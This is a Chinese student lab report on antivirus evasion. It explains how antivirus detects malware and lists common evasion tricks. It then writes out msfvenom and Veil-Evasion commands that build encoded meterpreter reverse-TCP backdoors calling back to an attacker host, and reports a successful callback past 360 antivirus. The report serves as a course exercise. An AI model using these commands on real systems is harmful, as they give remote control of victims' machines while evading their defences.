20155324《网络对抗》免杀原理与实践
免杀原理
实验内容
(1)理解免杀技术原理
(2)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧;
(3)通过组合应用各种技术实现恶意代码免杀
(4)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
基础问题回答
(1)杀软是如何检测出恶意代码的?
- 正常行为分析法:正常行为分析常被应用于异常检测之中,是指对程序的正常行为轮廓进行分析和表示,为程序建立一个安全行为库,当被监测程序的实际行为与其安全行为库中的正常行为不一致或存在一定差异时,则可能为恶意代码
- 特征检测法:系统分析获取恶意代码通常具有明显特征码,当检测到代码含有特征码则可能为恶意代码
(2)免杀是做什么?
- 免杀是不会被杀毒软件软件杀掉的病毒或木马 是病毒的制作人 为了不让病毒被识别出来 通过钻杀毒软件漏洞或者将病毒伪装成正常程序的办法 来逃避杀毒软件的查杀
(3)免杀的基本方法有哪些?
- 修改特征码:对恶意代码的特征码进行修改,比如添加一些指令,让杀软无法识别其是否为恶意代码
- 加花:通过添加加花指令(一些垃圾指令,类似加1减1之类的无用语句)让杀毒软件检测不到特征码。加花可以分为加区加花和去头加花
- 加壳:给原程序加上一段保护程序,有保护和加密功能,运行加壳后的文件先运行壳再运行真实文件,从而起到保护作用
正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
- 将文件传至virscan.org进行检测
有18个杀毒软件查出来了。扫描结果:46%的杀软(18/39)报告发现病毒
msf用编码器生成执行文件 编码一次
Kali输入命令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\\x00’ LHOST=kali的IP LPORT=5324端口号 -f exe >自己起后门名字.exe
再次
使用Veil-Evasion重新编写源代码
在Kali中安装veil,sudo apt-get install veil
- 在Kali的终端中启动
Veil-Evasion
命令行中输入veil
,后在veil
中输入命令use evasion
依次输入如下命令生成你的可执行文件:
use python/meterpreter/rev_tcp.py(设置payload)
set LHOST Kali的IP(设置反弹连接IP)
set LPORT 端口号(设置反弹端口)
generate
可执行文件名
选择使用语言来编写
利用shellcode编程实现免杀
- 首先,在Kali上使用命令生成一个c语言格式的Shellcode数组。
- VS编译运行产生exe文件(exe文件名不能存在20155324这样的学号)
实测优化版本、回连成功
按照上次实验用过的msf监听方法在Kali上打开监听,在Win主机开启杀软(Win安装360 )的情况下,运行最后生成的优化版exe文件,Kali成功获取了Win主机的权限
实验总结
通过本次实验让我进一步了解了病毒的可怕,竟然都能通过360的检查,真是太恐怖了。还是自己做的很有成就感!希望在以后的学习中能够更多的学到这些知识。